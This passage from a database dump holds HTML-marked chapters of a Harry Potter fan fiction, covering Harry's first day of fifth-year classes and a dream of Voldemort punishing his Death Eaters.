\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fate of Wizarding \nWorld. However, petty teenager conflicts can harm the greatest of minds and \nHarry finds out that in the age of Mass Freedom, his best friend is still very \nconservative. My version of Harry&#8217;s 5th year at Hogwarts. Animagus \ntraining, New powers, and a bit of H/Hr.&nbsp;&nbsp; </i></b></p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry woke up to find out that he was being late for the \nbreakfast. He hurriedly got dressed and went to the Great Hall for breakfast. \nWhile breakfast, Professor McGonagall distributed their schedules. Harry read \nthe schedule.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\nSchedule for the Fifth Year Gryffindors</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n1. Potions&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Slytherin&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9:00 AM</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n2. Transfiguration&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Hufflepuff&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;10:00 \nAM</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n3. Divination&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Rawenclaw&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 11:00 AM</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\nL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; U&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; H</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n4. Care of Magical Creatures&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Hufflepuff&nbsp;&nbsp;&nbsp;&nbsp; \n--------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1:00 PM</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n5. Charms&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Slytherin&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2:00 PM</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: center; text-indent: 6.0pt; margin-left: 6.0pt" align="center">\n6. Defense Against the Dark Arts&nbsp;&nbsp;&nbsp;&nbsp; --------&nbsp;&nbsp;&nbsp; Gryffindor-Slytherin&nbsp;&nbsp;&nbsp;&nbsp; \n--------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3:00 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;&nbsp; \n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry \ngroaned after reading that they again have Potions with Slytherins. &#8216;I wonder \nwhy Dumbledore always have to do this to us.&#8217; He was also very disappointed to \nknow that they have Defense Against the Dark Arts class at the end of the day. \nHe shook the disappointment out of his head. If he was to face Voldemort and \nsave others, he has to gain as much knowledge and learn as many spells as was \npossible. Now, with grim determination, Harry headed towards the Potions \ndungeon. </p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">This was, \nprobably, the first day in Harry&#8217;s life when he has paid his full attention in \nevery class, even Divination. Trelawney, as always, had once again predicted \nHarry&#8217;s death, but he didn&#8217;t even gave it a second thought.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Now, he knew \nwhy Hermione was always first in class, because she paid attention. Today, when \nHarry had paid attention in Transfiguration, he was astonished that he had \nperformed the spell correctly and before every one else, even Hermione. \nProfessor McGonagall was very pleased with him and awarded ten points to \nGryffindor. Generally, it was a good day for Harry. He had paid attention in his \nclass and even Snape couldn&#8217;t find a way to pick on to Harry. Harry was now very \neager to attend Defense Against the Dark Arts class. It had always been his \nfavorite class, and now with Remus Lupin teaching it, it would be even more \nenjoying. Harry was also looking forward for Animagus training, even more than \nhis DADA class. It was tomorrow night after dinner. He had always wanted to be \nan Animagus like his father and his mischievous friends. And now, it was his \nopportunity, and he wouldn&#8217;t waste it.</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry, \nHermione and Ron were heading towards the DADA class. In charms class they have \nlearned some new charms useful in dueling. Hagrid had decided to tell them \nsomething about the centaurs. He had even invited a centaur today to show them. \nHarry remembered him from his first year; it was Firenze, the centaur that had \nsaved his life from Quirrel back in his first year. Harry enjoyed the lesson \nvery much. For other students it was enough that they had no danger to their \nlives from this creature. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry \nquickly crossed the corridor and entered the DADA classroom. They sat with Harry \nin the middle and waited for the Professor. Most of the students had arrived \nalready.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">By the time \nProfessor Lupin entered the classroom, all places were filled. He came in the \nfront of the class. &#8220;I hope you all remember me from your third year. By the way \nI am Professor Lupin and I will be teaching you Defense Against the Dark Arts \nthis year. Now, any questions?&#8221; He asked.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Malfoy \nsneered and raised his hand. &#8220;Yes Mr. Malfoy.&#8221; He stood up and said in an \ninsulting voice. &#8220;Is it true that you are a <i>werewolf</i>?&#8221; He almost spat the \nword &#8216;werewolf&#8217; out. Harry saw various emotions at Professor&#8217;s face at once. \nRage and sadness were most evident. It was obvious that Malfoy had only said \nthat to humiliate Professor Lupin. Every Gryffindor was giving him death-glares. \nEvery one expected that Professor will deduct points from Slytherin house and \nwill give Malfoy a detention. But Harry was astonished when the Professor \nsuppressed his anger and said very calmly. &#8220;Yes Mr. Malfoy. But surely you have \nno objection. Now, do you?&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Malfoy moved \nhis head in denial. However, his expressions betrayed that he had, he just \ndidn&#8217;t dared to say it aloud. &#8220;Very well, sit down then.&#8221; Professor Lupin said \nand faced the class. &#8220;I think now we should start our lesson.&#8221; He scanned the \nfaces of the students very carefully. &#8220;We will be learning about wand-less magic \nduring the first term.&#8221; Many of the students gasped at this. Hermione&#8217;s hand \nimmediately shot up in the air. &#8220;Yes Ms. Granger.&#8221; He said. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;Sir isn&#8217;t \nit impossible to perform wand-less magic. I mean it was practiced before, but \nnowadays, the magic is much weaker than before.&#8221; She asked. &#8220;A very good \nquestion Ms. Granger. It <i>is</i> almost impossible to perform wand-less magic, \nbut simpler spells can be performed after a lot of practice. The point of \nteaching you this is that you should be, at least, able to summon your wands in \ntimes of need.&#8221; He said. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">All the \nstudents seemed to be very interested in this particular topic. For the rest of \nthe period, Professor Lupin told them about some of its History. He also told \nabout some theories to perform wand-less magic. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">\n&#8220;Concentration, belief and desire are the key factors in learning wand-less \nmagic. You have to believe that it will happen, for it to happen. Wand-less \nmagic is performed with belief and desire, the greater the desire will be, the \ngreater effect it will bring.&#8221; He had said. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry was \nlooking forward to do wand-less magic. He was more interested in it than anyone \nelse, because it was his desire as well as his need. He was now heading towards \nthe Gryffindor Tower with Ron and Hermione on his side. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">When they \nwere at a short distance from the portrait of fat lady, they ran into Peeves. \nThe mischievous poltergeist was carrying a bucket full of ice-cold water. \n&#8220;Ha-Ha-Ha&#8221; He laughed evilly. &#8220;Looks like you haven&#8217;t got a nice bath for quite \nsome time. Ugh. You stink!&#8221; Peeves acted to be disgusted after smelling Harry. \n&#8220;Want any help.&#8221; He smiled devilishly. Harry, by that time, had taken his wand \nout. &#8220;Oooh. Wait till I tell Bloody Baron. He would <i>extremely </i>be \npleased.&#8221; Hermione said sarcastically to scare the poltergeist. &#8220;No he wouldn&#8217;t \ndo anything to me. I have already asked his permission and he said it was ok as \nlong as I didn&#8217;t hurt any Slytherin. So be prepared for a nice, cold bath.&#8221; He \nsaid with a sinister smile playing on his lips and at once poured all the water \nover Harry&#8217;s head. However, the water never reached Harry. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;<i>Reverso.</i>&#8221; \nHarry shouted and the spell hit the water, which was about to fall on Harry&#8217;s \nhead. But instead it reversed in direction and hit Peeves square in the face \nwith ten times as much force. The trio doubled in laughter while Peeves hovered \nin air astounded by the sudden turn in events, when he noticed that they were \nlaughing at him, he left. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;Wow, Harry. \nThat was great.&#8221; Ron said, doubling over in laughter. &#8220;Where did you learned \nthat spell Harry, I have never heard of that one.&#8221; Hermione said suspiciously.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;You \nhaven&#8217;t?&#8221; Harry said surprised. &#8220;Well it was in that book which you sent me for \nmy birthday. It reverses the object to the other direction with a greater \npower.&#8221; Harry said, now seriously. Hermione nodded.&nbsp; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">She was \nhappy that Harry had actually read that book and has gained something useful. It \nwas so unlike Harry, but taking the events which had happened the night of Third \nTask when Harry and Cedric were teleported to a graveyard, it was obvious that \nhe wanted to be prepared to face his mortal enemy. She was still oblivious to \nthe events which happened that night. Dumbledore had said if Harry wanted to \ntell then he, himself, will tell them, but Harry wasn&#8217;t prepared to tell them \nanything just yet.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;She sighed. \nShe has sensed Harry&#8217;s discomfort at that particular topic. &#8216;Whatever that had \nhappened should have been very scary and horrible or Harry wouldn&#8217;t have acted \nlike this. He is not the type of being this upset. Even in between a very \ncritical condition. Hermione noticed that Ron was no longer as worried as he was \nwhen Harry had arrived from graveyard with a limp body, carrying Cedric&#8217;s dead \nform on his shoulder. She was surprised that Harry was able to lift Cedric&#8217;s \nbody, considering that he was a lot bigger in height from Harry and was a \nseventeen year healthy boy while Harry was only 14 and even skinny and shorter \nfor his age.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">They soon \nreached the portrait hole. &#8220;Phoenix feather.&#8221; Harry said the password. The \nportrait opened up. They entered the common room and discussed about the first \nday in classes. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">They opened \ntheir homework and busied themselves in it. Before they knew it, it was \nbed-time. They bid their good byes to each other and headed towards their \nrespective dorms.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">That night \nwhen Harry&#8217;s head reached the pillow, he thought about the Animagus training \nlesson. He was very eager for that class next day. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  Harry smiled at the thought of him being an Animagus. &#8216;I can&#8217;t wait for the \n  first lesson.&#8217; He decided. Soon, he drifted off to another restless sleep.</p>\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;</p>\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt"><u>A.N</u>: \nI will post the next chapter soon. Thanks to all of you who reviewed!</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n'),
	(193, 5, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Harry Potter and the Knowledge of Ancient \nMagic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i>&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;&nbsp;<u>Summary:</u></i> <i>The-boy-who-lived is being \nsubjected to various changes that would one day change \nthe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fate \nof Wizarding World. However, petty teenager conflicts can harm the greatest of \nminds and Harry finds out that in the age of Mass Freedom, his best friend is \nstill very conservative. My version of Harry&#8217;s 5th year at Hogwarts. \nAnimagus training, New powers, and a bit of H/Hr.&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>Rating:</u> PG</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b>&nbsp;</b></p>\n<p class="MsoNormal" style="text-indent: 6.0pt">He was standing in a huge hall \nwhich he had never seen before. There was a throne at the front of the hall \nother than that it was all empty. He wondered what he was doing here and how he \ncame here. Last thing he remembered was that he had settled in his bed to sleep. \n&#8216;Then how I came here?&#8217; He thought, wandering his eyes around hall. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry suddenly heard footsteps \ncoming from outside one of the two doors of the hall. He was panic stricken. \nWhat will be their reaction to him? Will they harm him? Who are they? Harry \nwondered as he looked around for a hideout. However, there was none. There was \nnothing, no furniture, in the hall except the throne in front of the hall. But \nfor some reason, he knew that hiding there wouldn&#8217;t be a good idea. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Footsteps were now just outside \nthe door. Harry had nothing to protect himself. &#8216;Wait a minute, my wand!&#8217; Harry \nsearched through his pockets for his wand. He was satisfied after he held it in \nhis hand. He made himself prepared for the upcoming attack.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Ten cloaked figures emerged from \nthe door of the hall, hoods down, and silently stood aside the wall, totally \noblivious to Harry. Harry was slightly confused. &#8216;Why didn&#8217;t they notice me?&#8217; He \nthought and then shrugged his shoulders. &#8216;Anyways it is good for me that they \ndidn&#8217;t. Maybe they are too preoccupied.&#8217; He looked towards the door after he \nheard more footsteps. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">The incomers were twenty other \ncloaked figures. They too, like others, took their place without noticing Harry. \n&#8216;What is going on here? Why didn&#8217;t they notice me?&#8217; Harry started panicking. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Like before cloaked figures kept \nemerging into the room and took their place with the wall. There was no more \nroom with the wall now. Both walls were now completely hidden behind the \nfigures, which Harry guessed to be the Death Eaters. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">The door besides the throne \nopened. All the Death Eaters remained in the same position as they haven&#8217;t \nnoticed the door open. From behind the door a tall, cloaked figure entered the \nhall. The figure took its place on the throne. He was the most feared and evil \nwizard ever&#8230;..Lord Voldemort Harry was now standing across from Voldemort and \nthere were the lines of Death Eaters on both sides of him.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Lucius, are we ready?&#8221; \nVoldemort said while twirling his wand between his fingers carelessly. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;No master. There are some \npreparations yet to be made. But I am sure; we will be, soon.&#8221; Lucius Malfoy \nsaid, after coming directly in front of the Dark Lord in a bowing state. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Lucius, you are one of my most \ntrusted and loyal followers. You know very well that I don&#8217;t like to be \nDISAPPOINTED!&#8221; &nbsp;The Dark Lord yelled the last part. &#8220;<i>Crucio.</i>&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Lucius Malfoy was now writhing \non floor with agony. Voldemort lifted the curse after a minute.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Go now. And never disappoint me \nagain. I want to see better results.&#8221; He said. &#8220;Wormtail, have you done your job \nproperly? Or not?&#8221; He sneered at a trembling Wormtail. A wave of anger passed \nthrough Harry&#8217;s body at the mention of the traitor&#8217;s name but he was aware that \nthis is not the best time to react.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Y-yes ma-master. I ha-have done \ni-it.&#8221; A very trembling Wormtail said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Good work Wormtail. I see that \nyou have started to use your little mind a bit.&#8221; Voldemort laughed. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Ye-yes master.&#8221; Wormtail said \nwith difficulty.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">A Death Eater came forward and \nbowed in front of Voldemort. &#8220;Yes McNair?&#8221; The Dark Lord asked.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Why are you taking so much \ntrouble to have the boy master? I mean&#8230;..you can easily order one of us to take \nplace of any of the Hogwarts teachers. And then we can easily kidnap the boy.&#8221; \nThe Death Eater named McNair said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Voldemort laughed a shrill \nlaugh. &#8220;Now, now dear McNair, don&#8217;t you think that old fool Dumbledore will be a \nlittle cautious this time? He is fool but not as much. And why do you think that \nboy is famous all over the world? Why is that he was able to escape me several \ntimes? Do you think you can capture him while he was able to escape me, although \nI was not in my full power.&#8221; He added. &#8220;He is NO ordinary boy you fool. Plus, he \ncan&#8217;t be captured that easily with Dumbledore watching out for him.&#8221; He shouted. \n&#8220;And&#8230;&#8221; He added. &#8220;&#8230;how you dare to speak against my decisions. Oh, yes I think \nyou haven&#8217;t got your doze for quite some time, that&#8217;s how. <i>Crucio.</i>&#8221; He \nshouted.<br>\n<br>\n&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry was trembling with \nunexpressed anger. He knew that Voldemort was very unforgiving, but he had never \nthought that he would be the same on his own followers. He felt the hatred \nboiling inside him. Voldemort lifted the curse.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;That boy is the biggest thorn \nin my way, along with Dumbledore of course. The sooner we get him out of the way \nthe better.&#8221; Voldemort said, thoughtfully.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hmm&#8230;...Avery? What about \nGiants? Have they decided to join us or not?&#8221; He said, looking towards a Death \nEater. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;No master. They are on \nDumbledore&#8217;s side. Looks like as soon as he heard about your rise from the boy. \nHe sent that half-giant to them and convinced them to his side. I have heard \nthat the half-giant&#8217;s mother is the real cause of why they have joined them. She \nis representing the giants.&#8221; Avery said, bowing to his master.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hmm Hagrid? That monster-loving \nfool? Yes, I remember him. He was very useful in my school days.&#8221; Voldemort \nlaughed.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry was absolutely furious. He \nknew what Voldemort was referring to. Voldemort was the Heir of Slytherin, and \nso, it was his mission in his school days to complete Salazar Slytherin&#8217;s \n&#8216;noble&#8217; work, kill all the Muggle-borns in school. He had used Hagrid in his way \nand had accused him out of school. It had destroyed all of Hagrid&#8217;s 